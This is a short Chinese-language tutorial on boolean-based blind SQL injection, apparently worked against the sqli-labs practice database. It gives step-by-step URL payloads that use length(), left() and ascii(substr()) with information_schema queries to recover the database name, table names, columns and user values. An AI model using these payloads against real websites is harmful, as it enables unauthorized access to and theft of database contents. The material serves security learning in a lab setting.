布尔盲注
布尔盲注一般是在网页没有报错,回显的时候使用。只能对url输入的判断一个对错,一般一次只能判断一个英文字符
基于布尔的盲注(Boolean-based blind SQL injection),即可以根据返回页面判断条件真假的注入。比如对参数加一个’ and ‘1’=‘1和’ and ‘1’='2,如果第一个能查询出来,第二个不行,则说明可以注入,后面可以根据字段and exist(…)不断猜测。
后台sql语句
id’ LIMIT 0,1";
-
判断数据库长度
?id=1’ and length(database())=8–+
返回正常,证明库的长度位八个字节 --+把后面的 ’ 注释掉 -
判断数据库中的第一个字符
/?id=1’ and left(database(),1)<‘t’’ 用 ’ 与后面的单引号闭合
Left() 判断库的第一位是否小于t,返回正常说明首字母小于t
/?id=1’ and left(database(),1)>‘r’–+
返回正常,首字符位s,依次判断
?id=1’ and ascii(substr((select database()),2,1))>100 --+
?id=1’ and ascii(substr((select database()),2,1))<102 --+
判断库的第二位是什么(使用ascii判断) 证明是e
库名为security -
爆security中的表名
ascii(substr((select table_name from information_schema.tables
where table_schema=‘security’ limit 0,1),2,1))<109
?id=1’ and exists(select group_concat(table_name) from information_schema.tables where table_schema=‘security’ )–+
ascii(substr((select table_name from information_schema.tables
where table_schema=‘security’ limit 0,1),2,1))<109
依次类推,得到所有的表为emails,referers,uagents,users -
爆字段名
?id=1 and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=‘security’ limit 0,1),1,1))<106%23
依次类推,得到users的表username的值为Dumb。